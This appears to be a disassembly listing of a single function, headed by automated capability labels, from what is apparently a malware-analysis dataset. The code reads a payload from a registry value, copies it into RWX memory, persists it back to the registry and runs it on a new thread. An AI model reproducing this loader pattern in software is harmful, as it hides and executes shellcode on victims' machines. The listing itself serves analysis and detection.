Function at 0x405680
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54be20
mov eax, dword fs:[0]
push eax
sub esp, 0xa58
push ebx
push esi
push edi
mov eax, dword [0x5a02e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x18], esi
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0xc9
je 0x405a2b
cmp dword [ebp + 0xc], 0x65
jne 0x405925
lea eax, [ebp - 0x14]
push eax
push 0x20019
xor edi, edi
push edi
push str.Console0
push closesocket
mov dword [ebp - 0x1c], 3
mov dword [ebp + 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40579c
mov eax, dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp + 0xc]
push ecx
push edi
lea edx, [ebp - 0x1c]
push edx
push edi
push 0x57b8a0
push eax
call esi
mov eax, dword [ebp + 0xc]
cmp eax, 0xa44
jbe 0x40578f
push eax
call fcn.00408df3
mov ecx, dword [ebp + 0xc]
push ecx
mov ebx, eax
push edi
push ebx
call fcn.00528340
mov ecx, dword [ebp - 0x14]
add esp, 0x10
lea edx, [ebp + 0xc]
push edx
push ebx
lea eax, [ebp - 0x1c]
push eax
push edi
push 0x57b8a0
push ecx
call esi
test eax, eax
jne 0x40578c
push 0x40
mov ecx, 0x291
mov esi, ebx
mov edi, 0x5a8b00
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x5a8d08]
push 0x3000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x5a8d08]
push ecx
add ebx, 0xa44
push ebx
push eax
mov dword [0x5a9544], eax
call fcn.00529d80
add esp, 0xc
xor edi, edi
mov ebx, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x18]
mov ecx, 0x5a8d0c
lea eax, [ebx + 1]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4057ca
cmp dx, di
je 0x4057c6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4057ca
add eax, 4
add ecx, 4
cmp dx, di
jne 0x4057a4
xor eax, eax
jmp 0x4057cf
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x405916
mov eax, dword [0x5a9544]
cmp eax, edi
je 0x4057f3
push 0x8000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x5a9544], edi
push 0x1e4
lea ecx, [ebp - 0xa46]
xor eax, eax
push edi
push ecx
mov dword [ebp - 0xa64], edi
mov dword [ebp - 0xa60], 0x5f55767b
mov dword [ebp - 0xa5c], 0x57576a21
mov dword [ebp - 0xa58], 0x64002e
mov dword [ebp - 0xa54], 0x6c006c
mov dword [ebp - 0xa50], 0x62005f
mov dword [ebp - 0xa4c], 0x6e0069
mov word [ebp - 0xa48], ax
call fcn.00528340
push 0x64
lea eax, [ebp - 0x858]
xor edx, edx
push edi
push eax
mov word [ebp - 0x862], dx
mov dword [ebp - 0x860], edi
mov dword [ebp - 0x85c], edi
call fcn.00528340
push 0x7d0
lea ecx, [ebp - 0x7f4]
push edi
push ecx
call fcn.00528340
push 0xa45
mov dword [ebp - 0x24], edi
call fcn.00408df3
add esp, 0x28
push 0x5967cc
lea edx, [ebp - 0x20]
mov dword [ebp - 4], edi
push edx
mov dword [ebp + 8], eax
mov byte [eax], 5
mov dword [ebp - 0x20], 0xb
call fcn.00527b7b
mov ecx, dword [ebp + 8]
push 0xa44
lea eax, [ebp - 0xa64]
push eax
inc ecx
push ecx
call fcn.00529d80
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, 0x4058da
ret
push edi
push edi
push esi
push 0x4054c0
push edi
push edi
jmp 0x405a0c
push 0x40
lea esi, [ebx + 1]
mov ecx, 0x291
mov edi, 0x5a8b00
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x5a8d08]
push 0x3000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x5a8d08]
push edx
add ebx, 0xa45
push ebx
push eax
mov dword [0x5a9544], eax
call fcn.00529d80
mov eax, dword [0x5a8d08]
add eax, 0xa44
push eax
mov dword [ebp + 0xc], eax
call fcn.00408df3
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4059fb
mov ecx, 0x291
mov esi, 0x5a8b00
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x5a8d08]
mov ecx, dword [0x5a9544]
push eax
push ecx
lea edx, [ebx + 0xa44]
push edx
call fcn.00529d80
add esp, 0xc
lea eax, [ebp + 8]
push eax
push str.Console0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4059e8
mov ecx, dword [ebp + 8]
push 0x57b8a0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push ebx
push 3
push 0
push 0x57b8a0
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.00408de8
add esp, 4
mov esi, dword [ebp - 0x18]
push 0
push 0
push esi
push 0x4054c0
push 0
push 0
call fcn.0052729b
add esp, 0x18
push 0xbb8
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov eax, dword [edx]
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8